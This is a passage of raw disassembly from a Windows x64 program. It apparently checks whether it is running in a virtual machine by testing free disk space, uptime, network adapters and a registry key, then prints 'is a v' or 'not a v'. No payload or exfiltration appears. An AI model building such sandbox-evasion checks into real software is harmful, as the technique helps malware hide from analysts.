movsd xmm0, qword [0x14008b8a8]
ucomisd xmm0, xmm1
ja 0x14000b03a
lea rax, [rsp + 0x1940]
mov qword [rsp + 0x5a0], rax
lea rax, [0x14001a7e8]
mov qword [rsp + 0x5a8], rax
lea rax, str.there_are__GB_in_disk_free_n
lea rcx, [rsp + 0x980]
mov qword [rcx], rax
mov qword [rcx + 8], 2
mov qword [rcx + 0x20], 0
mov qword [rcx + 0x10], rdi
mov qword [rcx + 0x18], 1
call fcn.1400391f8
call sub.kernel32.dll_GetTickCount64
mov rcx, rax
shr rax, 5
movabs rdx, 0x45e7b272f608771
mul rdx
shr rdx, 5
mov qword [rsp + 0xde0], rdx
cmp rcx, 0x927bf
ja 0x14000b0b0
lea rax, str.is_a_v_n
lea rsi, [rsp + 0x980]
mov qword [rsi], rax
mov qword [rsi + 8], 1
lea rdi, [0x1400e3d78]
mov qword [rsi + 0x10], rdi
pxor xmm6, xmm6
movdqu xmmword [rsi + 0x18], xmm6
mov rcx, rsi
call fcn.1400391f8
lea rbx, str.Hello_World_n
mov qword [rsp + 0x980], rbx
mov qword [rsp + 0x988], 1
mov qword [rsp + 0x990], rdi
movdqu xmmword [rsp + 0x998], xmm6
mov rcx, rsi
call fcn.1400391f8
mov ecx, 0x7d0
call sub.kernel32.dll_Sleep
jmp 0x14000b077
lea rax, [rsp + 0xde0]
mov qword [rsp + 0x5a0], rax
lea rax, [0x140018e84]
mov qword [rsp + 0x5a8], rax
lea rax, str.Startup_time__minuts_n
lea rsi, [rsp + 0x980]
mov qword [rsi], rax
mov qword [rsi + 8], 2
mov qword [rsi + 0x20], 0
mov qword [rsi + 0x10], rdi
mov edi, 1
mov qword [rsi + 0x18], rdi
mov rcx, rsi
call fcn.1400391f8
lea rax, str.not_a_v_n_
mov qword [rsi], rax
mov qword [rsi + 8], rdi
lea rax, [0x1400e3d78]
mov qword [rsi + 0x10], rax
pxor xmm6, xmm6
movdqu xmmword [rsi + 0x18], xmm6
lea rcx, [rsp + 0x980]
call fcn.1400391f8
movups xmm0, xmmword [rsp + 0x590]
movups xmmword [rsp + 0x410], xmm0
lea r14, [rsp + 0x300]
mov dword [r14], 0x4000
lea rsi, [rsp + 0x280]
mov qword [rsi], 4
movdqu xmmword [rsi + 8], xmm6
mov r12d, 0x6f
mov r13d, 4
xor edi, edi
cmp r12d, 0x6f
jne 0x14000b23a
mov r15d, dword [rsp + 0x300]
mov rbx, r15
sub rbx, rdi
jbe 0x14000b1ed
mov rcx, qword [rsp + 0x288]
sub rcx, rdi
mov rax, rdi
cmp rcx, rbx
jb 0x14000b217
lea rcx, [rax*4]
add rcx, r13
cmp rbx, 2
jb 0x14000b1cf
not rdi
add rdi, r15
mov dword [rcx], 0
add rcx, 4
dec rdi
jne 0x14000b1ba
add rax, rbx
dec rax
mov dword [rcx], 0
inc rax
mov qword [rsp + 0x290], rax
mov r13, qword [rsp + 0x280]
mov r15, rax
jmp 0x14000b1f5
mov qword [rsp + 0x290], r15
mov qword [rsp + 0x20], r14
xor ecx, ecx
mov edx, 0x90
xor r8d, r8d
mov r9, r13
call sub.IPHLPAPI.DLL_GetAdaptersAddresses
mov r12d, eax
mov rdi, r15
jmp 0x14000b176
mov rcx, rsi
mov rdx, rdi
mov r8, rbx
call fcn.140085fd2
mov r13, qword [rsp + 0x280]
mov rax, qword [rsp + 0x290]
jmp 0x14000b1a3
test r12d, r12d
jne 0x14000bd26
lea rax, [rsp + 0x130]
mov qword [rax], 8
pxor xmm6, xmm6
movdqu xmmword [rax + 8], xmm6
lea rbx, [rsp + 0x200]
mov rsi, qword [r13 + 0x10]
mov rcx, rsi
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
lea rcx, [rsp + 0x180]
mov rdx, rsi
mov r8, rax
call fcn.14001608f
cmp qword [rsp + 0x180], 0
mov r12, qword [rsp + 0x188]
mov rdi, qword [rsp + 0x190]
jne 0x14000bd59
mov rcx, rdi
xor edx, edx
call fcn.140012d18
mov r15, rax
mov rsi, r13
mov r13, rdx
mov rcx, rax
mov rdx, r12
mov qword [rsp + 0x278], rdi
mov r8, rdi
call fcn.140085b90
mov qword [rsp + 0xd0], rsi
mov rdi, qword [rsi + 0x30]
mov qword [rsp + 0x180], 1
lea rax, [rsp + 0x188]
movdqu xmmword [rax], xmm6
test rdi, rdi
je 0x14000b39b
mov r14d, 1
xor esi, esi
mov rdx, qword [rdi + 0x10]
mov r8d, dword [rdi + 0x18]
mov rcx, rbx
call fcn.14002940e
cmp rsi, qword [rsp + 0x188]
jne 0x14000b339
lea rcx, [rsp + 0x180]
mov rdx, rsi
call fcn.140028a14
mov r14, qword [rsp + 0x180]
mov rsi, qword [rsp + 0x190]
mov rax, rsi
shl rax, 4
add rax, rsi
mov cl, byte [rsp + 0x210]
mov byte [r14 + rax + 0x10], cl
movups xmm0, xmmword [rsp + 0x200]
movups xmmword [r14 + rax], xmm0
mov rsi, qword [rsp + 0x190]
inc rsi
mov qword [rsp + 0x190], rsi
mov rdi, qword [rdi + 8]
test rdi, rdi
jne 0x14000b2ff
mov rax, qword [rsp + 0x180]
mov r12, qword [rsp + 0x188]
test rax, rax
je 0x14000be59
mov qword [rsp + 0x100], rax
jmp 0x14000b3ad
mov eax, 1
mov qword [rsp + 0x100], rax
xor esi, esi
xor r12d, r12d
mov qword [rsp + 0x120], r13
mov qword [rsp + 0xe0], r12
mov rax, qword [rsp + 0xd0]
mov rdi, qword [rax + 0xd0]
mov qword [rsp + 0x180], 1
lea rax, [rsp + 0x188]
movdqu xmmword [rax], xmm6
test rdi, rdi
je 0x14000b49a
mov r14d, 1
xor r13d, r13d
mov rdx, qword [rdi + 0x10]
mov r8d, dword [rdi + 0x18]
mov rcx, rbx
call fcn.14002940e
cmp r13, qword [rsp + 0x188]
jne 0x14000b430
lea rcx, [rsp + 0x180]
mov rdx, r13
call fcn.140028a14
mov r14, qword [rsp + 0x180]
mov r13, qword [rsp + 0x190]
mov rax, r13
shl rax, 4
add rax, r13
mov cl, byte [rsp + 0x210]
mov byte [r14 + rax + 0x10], cl
movups xmm0, xmmword [rsp + 0x200]
movups xmmword [r14 + rax], xmm0
mov r13, qword [rsp + 0x190]
inc r13
mov qword [rsp + 0x190], r13
mov rdi, qword [rdi + 8]
test rdi, rdi
jne 0x14000b3f6
mov rax, qword [rsp + 0x180]
mov r12, qword [rsp + 0x188]
test rax, rax
je 0x14000be67
mov qword [rsp + 0x118], rax
mov qword [rsp + 0xf8], r12
jmp 0x14000b4b4
mov eax, 1
mov qword [rsp + 0x118], rax
xor r13d, r13d
xor eax, eax
mov qword [rsp + 0xf8], rax
mov qword [rsp + 0xf0], r15
mov rax, qword [rsp + 0xd0]
mov rdi, qword [rax + 0xb0]
mov qword [rsp + 0x180], 4
lea rax, [rsp + 0x188]
movdqu xmmword [rax], xmm6
test rdi, rdi
je 0x14000b59c
mov r14d, 4
xor r15d, r15d
mov rdx, qword [rdi + 0x10]
mov r8d, dword [rdi + 0x18]
mov rcx, rbx
call fcn.14002940e
mov r12d, dword [rdi + 0x20]
cmp r15, qword [rsp + 0x188]
jne 0x14000b533
lea rcx, [rsp + 0x180]
mov rdx, r15
call fcn.140028ad8
mov r14, qword [rsp + 0x180]
mov r15, qword [rsp + 0x190]
lea rax, [r15 + r15*2]
mov ecx, dword [rsp + 0x210]
mov dword [r14 + rax*8 + 0x10], ecx
movups xmm0, xmmword [rsp + 0x200]
movups xmmword [r14 + rax*8], xmm0
mov dword [r14 + rax*8 + 0x14], r12d
mov r15, qword [rsp + 0x190]
inc r15
mov qword [rsp + 0x190], r15
mov rdi, qword [rdi + 8]
test rdi, rdi
jne 0x14000b4f5
mov rax, qword [rsp + 0x180]
mov r12, qword [rsp + 0x188]
test rax, rax
je 0x14000be86
mov qword [rsp + 0x2f0], rax
mov qword [rsp + 0x230], r12
jmp 0x14000b5b6
mov eax, 4
mov qword [rsp + 0x2f0], rax
xor r15d, r15d
xor eax, eax
mov qword [rsp + 0x230], rax
mov rax, qword [rsp + 0xd0]
mov r14, qword [rax + 0x18]
mov qword [rsp + 0x180], 1
lea rax, [rsp + 0x188]
movdqu xmmword [rax], xmm6
test r14, r14
je 0x14000b67e
mov r12d, 1
xor edi, edi
mov rdx, qword [r14 + 0x10]
mov r8d, dword [r14 + 0x18]
mov rcx, rbx
call fcn.14002940e
cmp rdi, qword [rsp + 0x188]
jne 0x14000b625
lea rcx, [rsp + 0x180]
mov rdx, rdi
call fcn.140028a14
mov r12, qword [rsp + 0x180]
mov rdi, qword [rsp + 0x190]
mov rax, rdi
shl rax, 4
add rax, rdi
mov cl, byte [rsp + 0x210]
mov byte [r12 + rax + 0x10], cl
movups xmm0, xmmword [rsp + 0x200]
movups xmmword [r12 + rax], xmm0
mov rdi, qword [rsp + 0x190]
inc rdi
mov qword [rsp + 0x190], rdi
mov r14, qword [r14 + 8]
test r14, r14
jne 0x14000b5eb
mov rdx, qword [rsp + 0x180]
mov r12, qword [rsp + 0x188]
test rdx, rdx
jne 0x14000b688
jmp 0x14000beaa
mov edx, 1
xor edi, edi
xor r12d, r12d
mov rax, qword [rsp + 0xd0]
mov r8d, dword [rax + 0x68]
dec r8d
cmp r8d, 7
jae case.0x14000ecef.1
mov eax, dword [rax + 0x64]
mov r9b, 0x91
cmp eax, 0x17
jle 0x14000b6c9
cmp eax, 0x46
jle 0x14000b6dd
cmp eax, 0x47
je 0x14000b6fb
cmp eax, 0x83
je 0x14000b700
cmp eax, 0x90
jne 0x14000b712
mov r9b, 0x90
jmp 0x14000b712
cmp eax, 8
jg 0x14000b6ec
cmp eax, 1
je 0x14000b705
cmp eax, 6
jne 0x14000b712
mov r9b, 6
jmp 0x14000b712
cmp eax, 0x18
je 0x14000b70a
cmp eax, 0x25
jne 0x14000b712
mov r9b, 0x25
jmp 0x14000b712
cmp eax, 9
je 0x14000b70f
cmp eax, 0x17
jne 0x14000b712
mov r9b, 0x17
jmp 0x14000b712
mov r9b, 0x47
jmp 0x14000b712
mov r9b, 0x83
jmp 0x14000b712
mov r9b, 1
jmp 0x14000b712
mov r9b, 0x18
jmp 0x14000b712
mov r9b, 9
mov rax, qword [rsp + 0xd0]
mov rcx, qword [rax + 0x40]
test rcx, rcx
je case.0x14000ecef.1
mov byte [rsp + 0xef], r9b
mov qword [rsp + 0x2c8], rdx
mov rdx, qword [rax + 0xc0]
mov qword [rsp + 0x328], rdx
mov rdx, qword [rax + 0xb8]
mov qword [rsp + 0x438], rdx
inc r8b
mov dword [rsp + 0x22c], r8d
mov eax, dword [rax + 0x6c]
mov dword [rsp + 0x2d4], eax
xor edx, edx
cmp word [rcx + rdx*2], 0
lea rdx, [rdx + 1]
jne 0x14000b76c
call fcn.14007e351
test rdx, rdx
je case.0x14000ecef.1
mov r14, rax
mov r8, rdx
dec r8
lea rcx, [rsp + 0x180]
mov rdx, rax
call fcn.1400137ba
mov rax, qword [rsp + 0x180]
test rax, rax
je 0x14000bd65
mov qword [rsp + 0x320], rax
mov rax, qword [rsp + 0x188]
mov qword [rsp + 0x318], rax
mov rax, qword [rsp + 0x190]
mov qword [rsp + 0x430], rax
mov word [r14], 0
mov rcx, qword [0x1400ea708]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsp + 0xd0]
mov rcx, qword [rax + 0x48]
test rcx, rcx
je case.0x14000ecef.1
xor edx, edx
cmp word [rcx + rdx*2], 0
lea rdx, [rdx + 1]
jne 0x14000b806
call fcn.14007e351
test rdx, rdx
je case.0x14000ecef.1
mov r14, rax
mov r8, rdx
dec r8
lea rcx, [rsp + 0x180]
mov rdx, rax
call fcn.1400137ba
mov rax, qword [rsp + 0x180]
test rax, rax
je 0x14000bd70
mov qword [rsp + 0x420], rax
mov qword [rsp + 0x428], r12
lea rax, [rsp + 0x188]
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x240], xmm0
mov word [r14], 0
mov rcx, qword [0x1400ea708]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsp + 0xd0]
mov r12d, dword [rax + 0x58]
test r12, r12
je 0x14000b8d5
cmp r12d, 9
jae case.0x14000ecef.1
mov rax, qword [rsp + 0xd0]
lea r14, [rax + 0x50]
mov rcx, r12
xor edx, edx
call fcn.140012d18
mov qword [rsp + 0xd8], rdx
mov rcx, rax
mov qword [rsp + 0x270], rax
mov rdx, r14
mov r8, r12
call fcn.140085b90
jmp 0x14000b8df
xor eax, eax
mov qword [rsp + 0x270], rax
movaps xmm0, xmmword [rsp + 0x240]
movaps xmmword [rsp + 0x3f0], xmm0
mov r11, qword [rsp + 0x140]
cmp r11, qword [rsp + 0x138]
jne 0x14000b919
lea rcx, [rsp + 0x130]
mov rdx, r11
call fcn.140028952
mov r11, qword [rsp + 0x140]
mov r8, qword [rsp + 0x2c8]
mov r9d, dword [rsp + 0x22c]
mov r10b, byte [rsp + 0xef]
mov rdx, qword [rsp + 0x328]
mov r14, qword [rsp + 0x130]
imul rax, r11, 0xd8
mov rcx, qword [rsp + 0x270]
mov qword [r14 + rax], rcx
mov rcx, qword [rsp + 0xd8]
mov qword [r14 + rax + 8], rcx
mov qword [r14 + rax + 0x10], r12
mov qword [r14 + rax + 0x18], rdx
mov rdx, qword [rsp + 0x438]
mov qword [r14 + rax + 0x20], rdx
mov rdx, qword [rsp + 0xf0]
mov qword [r14 + rax + 0x28], rdx
mov rdx, qword [rsp + 0x120]
mov qword [r14 + rax + 0x30], rdx
mov rdx, qword [rsp + 0x278]
mov qword [r14 + rax + 0x38], rdx
mov qword [r14 + rax + 0x40], r8
mov rdx, qword [rsp + 0x428]
mov qword [r14 + rax + 0x48], rdx
mov qword [r14 + rax + 0x50], rdi
mov rdx, qword [rsp + 0x2f0]
mov qword [r14 + rax + 0x58], rdx
mov rdx, qword [rsp + 0x230]
mov qword [r14 + rax + 0x60], rdx
mov qword [r14 + rax + 0x68], r15
mov rdx, qword [rsp + 0x118]
mov qword [r14 + rax + 0x70], rdx
mov rdx, qword [rsp + 0xf8]
mov qword [r14 + rax + 0x78], rdx
mov qword [r14 + rax + 0x80], r13
mov rdx, qword [rsp + 0x100]
mov qword [r14 + rax + 0x88], rdx
mov rdx, qword [rsp + 0xe0]
mov qword [r14 + rax + 0x90], rdx
mov qword [r14 + rax + 0x98], rsi
mov rdx, qword [rsp + 0x320]
mov qword [r14 + rax + 0xa0], rdx
mov rdx, qword [rsp + 0x318]
mov qword [r14 + rax + 0xa8], rdx
mov rdx, qword [rsp + 0x430]
mov qword [r14 + rax + 0xb0], rdx
mov rdx, qword [rsp + 0x420]
mov qword [r14 + rax + 0xb8], rdx
movaps xmm0, xmmword [rsp + 0x3f0]
movups xmmword [r14 + rax + 0xc0], xmm0
mov edx, dword [rsp + 0x2d4]
mov dword [r14 + rax + 0xd0], edx
mov byte [r14 + rax + 0xd4], r10b
mov byte [r14 + rax + 0xd5], r9b
shr rcx, 8
mov qword [rsp + 0xd8], rcx
inc r11
mov qword [rsp + 0x140], r11
mov r13, qword [rsp + 0xd0]
mov r13, qword [r13 + 8]
test r13, r13
jne 0x14000b263
mov rsi, qword [rsp + 0x138]
cmp qword [rsp + 0x288], 0
je 0x14000baeb
mov r8, qword [rsp + 0x280]
mov rcx, qword [0x1400ea708]
xor edx, edx
mov rdi, r11
call qword [sym.imp.kernel32.dll_HeapFree]
mov r11, rdi
mov rax, rsi
shr rax, 0x20
mov qword [rsp + 0xd8], rax
mov eax, esi
mov qword [rsp + 0x120], rax
lea rax, [rsp + 0x180]
mov qword [rax], 8
xorps xmm0, xmm0
movups xmmword [rax + 8], xmm0
imul r15, r11, 0xd8
add r15, r14
mov eax, 8
xor r9d, r9d
xor edx, edx
mov r13, r14
xor esi, esi
mov qword [rsp + 0xe0], r11
test rsi, rsi
je 0x14000bb4a
cmp rsi, qword [rsp + 0xd0]
jne 0x14000bb88
test r13, r13
je 0x14000bdf6
cmp r13, r15
je 0x14000bdf6
mov rcx, qword [r13 + 0x98]
add r13, 0xd8
test rcx, rcx
je 0x14000bb4a
mov rsi, qword [r13 - 0x50]
mov r8, rcx
shl r8, 4
add r8, rcx
add r8, rsi
mov qword [rsp + 0xd0], r8
mov ecx, dword [rsi + 1]
cmp byte [rsi], 0
je 0x14000bbb9
shl rcx, 0x10
movzx edi, di
or rdi, rcx
mov rcx, qword [rsi + 5]
mov r8d, dword [rsi + 0xd]
mov dword [rsp + 0x268], r8d
mov qword [rsp + 0x260], rcx
mov r12w, 1
jmp 0x14000bbcc
movabs r8, 0x3500000000
or rcx, r8
xor r12d, r12d
mov rdi, rcx
cmp rdx, qword [rsp + 0x188]
jne 0x14000bbf6
lea rcx, [rsp + 0x180]
call fcn.1400745dc
xor r9d, r9d
mov rax, qword [rsp + 0x180]
mov rdx, qword [rsp + 0x190]
shl rdx, 6
mov word [rax + rdx], r12w
mov dword [rax + rdx + 2], edi
mov rbx, rdi
shr rbx, 0x20
mov word [rax + rdx + 6], bx
mov rcx, qword [rsp + 0x260]
mov qword [rax + rdx + 8], rcx
mov ecx, dword [rsp + 0x268]
mov dword [rax + rdx + 0x10], ecx
mov qword [rax + rdx + 0x14], r9
mov word [rax + rdx + 0x1c], 0x35
mov qword [rax + rdx + 0x20], r9
mov word [rax + rdx + 0x38], 0
mov rdx, qword [rsp + 0x190]
inc rdx
mov qword [rsp + 0x190], rdx
cmp rdx, qword [rsp + 0x188]
jne 0x14000bc74
lea rcx, [rsp + 0x180]
call fcn.1400745dc
xor r9d, r9d
mov rdx, qword [rsp + 0x190]
mov r11, qword [rsp + 0xe0]
add rsi, 0x11
mov rax, qword [rsp + 0x180]
mov rcx, rdx
shl rcx, 6
mov word [rax + rcx], r12w
mov dword [rax + rcx + 2], edi
mov word [rax + rcx + 6], bx
mov r8, qword [rsp + 0x260]
mov qword [rax + rcx + 8], r8
mov r8d, dword [rsp + 0x268]
mov dword [rax + rcx + 0x10], r8d
mov qword [rax + rcx + 0x14], r9
mov word [rax + rcx + 0x1c], 0x35
mov qword [rax + rcx + 0x20], r9
mov word [rax + rcx + 0x38], 1
inc rdx
mov qword [rsp + 0x190], rdx
jmp 0x14000bb3b
mov byte [rsp + 0x5a0], 1
lea r8, [rsp + 0x980]
mov qword [r8], rsi
lea rcx, [0x1400ea798]
lea r9, [0x1400e3970]
xor edx, edx
call fcn.140087984
jmp 0x140009d2d
mov rcx, rsi
call fcn.140086336
jmp 0x14000a774
mov rcx, rsi
call fcn.14008608c
jmp 0x14000a788
mov ebx, 4
xor esi, esi
jmp 0x14000bf8b
mov rcx, rsi
call fcn.140086336
jmp 0x14000a7c7
mov rcx, rsi
call fcn.14008608c
jmp 0x14000a7df
mov rcx, rsi
call fcn.14008608c
jmp 0x14000a8a5
mov rbx, rdi
shr rbx, 8
jmp 0x14000bf44
mov word [r14], 0
mov r8, r14
jmp 0x14000bd9b
mov word [r14], 0
mov rcx, qword [0x1400ea708]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x318], 0
mov r8, qword [rsp + 0x320]
je 0x14000bdaa
mov rcx, qword [0x1400ea708]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov dil, 2
test r12, r12
mov rbx, qword [rsp + 0xd8]
mov rsi, qword [rsp + 0xe0]
mov r15, qword [rsp + 0xf0]
mov r13, qword [rsp + 0x120]
je 0x14000bde9
mov rcx, qword [0x1400ea708]
xor edx, edx
mov r8, qword [rsp + 0x2c8]
call qword [sym.imp.kernel32.dll_HeapFree]
mov r12, qword [rsp + 0x270]
jmp 0x14000bec9
mov rax, qword [rsp + 0x190]
mov qword [rsp + 0xdf8], rax
movups xmm0, xmmword [rsp + 0x180]
movups xmmword [rsp + 0xde8], xmm0
mov dword [rsp + 0xde0], 8
mov rcx, r14
mov rdx, r11
call fcn.140029312
mov rax, qword [rsp + 0x120]
or rax, qword [rsp + 0xd8]
je 0x14000bfe1
mov rcx, qword [0x1400ea708]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14000bfe1
mov rbx, rsi
shr rbx, 8
mov edi, esi
jmp 0x14000bf2d
mov rbx, r13
shr rbx, 8
mov edi, r13d
mov rsi, qword [rsp + 0xe0]
mov r13, qword [rsp + 0x120]
jmp 0x14000bf11
mov rbx, r15
shr rbx, 8
mov edi, r15d
mov rsi, qword [rsp + 0xe0]
mov r15, qword [rsp + 0xf0]
mov r13, qword [rsp + 0x120]
jmp 0x14000beed
mov rbx, rdi
shr rbx, 8
mov rsi, qword [rsp + 0xe0]
mov r15, qword [rsp + 0xf0]
mov r13, qword [rsp + 0x120]
mov rax, qword [rsp + 0x230]
test rax, rax
je 0x14000beed
mov rcx, qword [0x1400ea708]
xor edx, edx
mov r8, qword [rsp + 0x2f0]
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsp + 0xf8]
test rax, rax
je 0x14000bf11
mov rcx, qword [0x1400ea708]
xor edx, edx
mov r8, qword [rsp + 0x118]
call qword [sym.imp.kernel32.dll_HeapFree]
test rsi, rsi
je 0x14000bf2d
mov rcx, qword [0x1400ea708]
xor edx, edx
mov r8, qword [rsp + 0x100]
call qword [sym.imp.kernel32.dll_HeapFree]
test r13, r13
je 0x14000bf44
mov rcx, qword [0x1400ea708]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
shl rbx, 8
movzx edi, dil
mov rsi, qword [rsp + 0x130]
mov rdx, qword [rsp + 0x140]
mov rcx, rsi
call fcn.140029312
cmp qword [rsp + 0x138], 0
je 0x14000bf81
mov rcx, qword [0x1400ea708]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
or rbx, rdi
mov rsi, r12
shr rsi, 0x20
cmp qword [rsp + 0x288], 0
je 0x14000bfad
mov r8, qword [rsp + 0x280]
mov rcx, qword [0x1400ea708]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
shl rsi, 0x20
mov eax, r12d
or rax, rsi
lea rdx, [rsp + 0x180]
mov qword [rdx], rax
mov qword [rdx + 8], rbx
lea rsi, [rsp + 0xde0]
mov rcx, rsi
call fcn.14007537c
mov ebx, dword [rsi]
cmp ebx, 8
jne 0x14000c1db
mov rax, qword [rsp + 0xdf8]
movups xmm0, xmmword [rsp + 0xde8]
movaps xmmword [rsp + 0x330], xmm0
mov qword [rsp + 0x340], rax
lea rdx, [0x1400bd288]
mov r8d, 0x32
mov rcx, 0xffffffff80000002
call fcn.140028cf4
mov r15, rdx
test rax, rax
je 0x14000c33f
mov rcx, 0xffffffff80000002
call fcn.140084dc0
mov ebx, 3
mov r14, r15
lea rdx, [rsp + 0xde0]
mov qword [rdx], r14
mov qword [rdx + 8], rbx
lea rcx, [rsp + 0x1580]
call fcn.14007537c
lea rcx, [rsp + 0x330]
call fcn.14007544c
mov ebx, dword [rsp + 0x1580]
cmp ebx, 8
jne 0x14000c22b
lea rdx, [rsp + 0x1588]
lea rsi, [rsp + 0x12e4]
mov r8d, 0xf8
mov rcx, rsi
call fcn.140085b90
lea rdx, [rsp + 0x11c0]
mov ecx, 0x20
mov rdi, rdx
rep movsd dword [rdi], dword [rsi]
lea rsi, [rsp + 0x1364]
lea r8, [rsp + 0x450]
mov ecx, 0x1e
mov rdi, r8
rep movsd dword [rdi], dword [rsi]
lea rsi, [rsp + 0x980]
mov rcx, rsi
call fcn.14007557c
mov r14d, dword [rsi + 8]
mov rsi, qword [rsi]
cmp r14d, 0x3b9aca00
je 0x14000c2a3
lea rdi, [rsp + 0x98c]
lea rbx, [rsp + 0x5ac]
mov r8d, 0x24c
mov rcx, rbx
mov rdx, rdi
call fcn.140085b90
mov qword [rbx - 0xc], rsi
mov dword [rbx - 4], r14d
lea rax, [rsp + 0x410]
mov qword [rsp + 0xde0], rax
lea rax, [0x1400184e4]
mov qword [rsp + 0xde8], rax
lea rax, [0x14008c580]
mov qword [rdi - 0xc], rax
mov qword [rdi - 4], 2
mov qword [rdi + 0x14], 0
lea rax, [rsp + 0xde0]
mov qword [rdi + 4], rax
mov qword [rdi + 0xc], 1
lea rsi, [rsp + 0x1948]
lea rdx, [rsp + 0x980]
mov rcx, rsi
call fcn.1400130d7
lea rax, [rsp + 0x5a0]
mov qword [rsi - 8], rax
mov byte [rsi + 0x1a8], 0
lea rsi, [rsp + 0x798]
mov rcx, rsi
call qword [sym.imp.kernel32.dll_AcquireSRWLockExclusive]
mov rax, qword [0x1400ea788]
shl rax, 1
test rax, rax
jne 0x14000cc77
xor r8d, r8d
mov al, byte [rsp + 0x7a0]
test al, al
je 0x14000c4f2
lea rcx, [rsp + 0x12e0]
mov rdx, rsi
call fcn.1400754ab
lea rcx, [rsp + 0x1940]
call fcn.1400026c9
jmp 0x14000daec
lea rdx, [rsp + 0xe00]
movups xmm0, xmmword [rdx - 0x1c]
movupd xmm1, xmmword [rdx - 0x10]
movupd xmmword [rsp + 0x37c], xmm1
movaps xmmword [rsp + 0x370], xmm0
lea rsi, [rsp + 0x15a0]
mov r8d, pe_nt_image_headers64
mov rcx, rsi
call fcn.140085b90
movaps xmm0, xmmword [rsp + 0x370]
movups xmmword [rsi - 0x1c], xmm0
movups xmm0, xmmword [rsp + 0x37c]
movups xmmword [rsi - 0x10], xmm0
lea rsi, [rsp + 0x1584]
lea rdi, [rsp + 0x12e0]
mov r8d, 0xfc
mov rcx, rdi
mov rdx, rsi
call fcn.140085b90
movups xmm0, xmmword [rsi + 0xfc]
movupd xmm1, xmmword [rsi + 0x10c]
lea rcx, [rsp + 0x1944]
movups xmmword [rcx + 0xfc], xmm0
movupd xmmword [rcx + 0x10c], xmm1
mov dword [rcx - 4], ebx
mov r8d, 0xfc
mov rdx, rdi
call fcn.140085b90
cmp ebx, 7
mov eax, 0x16
mov ecx, 0x27
cmove ecx, eax
lea rdx, [rsp + 0x1940]
call fcn.14006e81e
mov rsi, rax
mov rcx, rsi
call fcn.14002e9b6
mov rbx, rax
lea rsi, [0x1400bd888]
cmp qword [rsp + 0x2e0], 0
je 0x14000c2d7
mov r8, qword [rsp + 0x2d8]
mov rcx, qword [0x1400ea708]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, rbx
mov rdx, rsi
movaps xmm6, xmmword [rbp + 0x1c90]
movaps xmm7, xmmword [rbp + 0x1ca0]
movaps xmm8, xmmword [rbp + 0x1cb0]
movaps xmm9, xmmword [rbp + 0x1cc0]
movaps xmm10, xmmword [rbp + 0x1cd0]
movaps xmm11, xmmword [rbp + 0x1ce0]
movaps xmm12, xmmword [rbp + 0x1cf0]
movaps xmm13, xmmword [rbp + 0x1d00]
movaps xmm14, xmmword [rbp + 0x1d10]
movaps xmm15, xmmword [rbp + 0x1d20]
lea rsp, [rbp + 0x1d38]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea r8, [0x1400bd2ba]
lea rsi, [rsp + 0x280]
mov r9d, 0xa
mov rcx, rsi
mov rdx, r15
call fcn.140028d96
mov r12, qword [rsi]
test r12, r12
je 0x14000c4d6
mov r13, qword [rsp + 0x288]
mov rax, qword [rsp + 0x290]
xor edi, edi
lea rdx, [rsp + 0x370]
mov qword [rdx], rdi
mov qword [rdx + 8], rax
mov qword [rdx + 0x10], r12
mov qword [rdx + 0x18], rax
mov qword [rdx + 0x20], rdi
mov qword [rdx + 0x28], rax
mov qword [rdx + 0x30], 1
movabs rax, 0x2c0000002c
mov qword [rdx + 0x38], rax
mov word [rdx + 0x40], 1
lea rsi, [rsp + 0xde0]
mov rcx, rsi
call fcn.1400287c8
cmp qword [rsi], rdi
je 0x14000c632
mov qword [rsp + 0xd0], r13
mov al, byte [0x1400ea9e0]
mov ecx, 0x60
mov edx, 8
call fcn.140010eab
test rax, rax
je 0x140010d60
mov r13, rax
lea r14, [rsp + 0xde0]
mov rax, qword [r14 + 0x10]
mov qword [r13 + 0x10], rax
movups xmm0, xmmword [r14]
movups xmmword [r13], xmm0
lea rax, [rsp + 0x130]
mov qword [rax], r13
mov qword [rax + 8], 4
mov qword [rax + 0x10], 1
lea rsi, [rsp + 0x370]
mov ecx, 9
mov rdi, r14
rep movsq qword [rdi], qword [rsi]
mov ebx, 1
mov edi, 0x18
lea rsi, [rsp + 0x180]
mov rcx, rsi
mov rdx, r14
call fcn.1400287c8
cmp qword [rsp + 0x180], 0
je 0x14000c4b9
cmp rbx, qword [rsp + 0x138]
je 0x14000c49f
mov rax, qword [rsp + 0x190]
mov qword [r13 + rdi + 0x10], rax
movups xmm0, xmmword [rsp + 0x180]
movups xmmword [r13 + rdi], xmm0
inc rbx
mov qword [rsp + 0x140], rbx
add rdi, 0x18
jmp 0x14000c453
lea rcx, [rsp + 0x130]
mov rdx, rbx
call fcn.14007fec5
mov r13, qword [rsp + 0x130]
jmp 0x14000c473
mov rdi, qword [rsp + 0x130]
mov r14, qword [rsp + 0x138]
mov r13, qword [rsp + 0xd0]
jmp 0x14000c63c
mov rcx, qword [rsp + 0x288]
call fcn.14000278e
mov edi, 8
xor ebx, ebx
xor r14d, r14d
jmp 0x14000c653
mov dword [rsp + 0xf0], r8d
mov rdx, qword [rsp + 0x7d8]
mov r8, qword [rsp + 0x7e0]
lea rsi, [rsp + 0x980]
mov rcx, rsi
call fcn.140042774
cmp dword [rsi], 3
je case.0x14000ecef.1
mov rax, qword [rsp + 0x990]
mov qword [rsp + 0x400], rax
movups xmm0, xmmword [rsp + 0x980]
movaps xmmword [rsp + 0x3f0], xmm0
cmp qword [rsp + 0x7a8], 0
je 0x14000c8cf
mov eax, dword [0x1400ea9e4]
mov rcx, qword gs:[0x58]
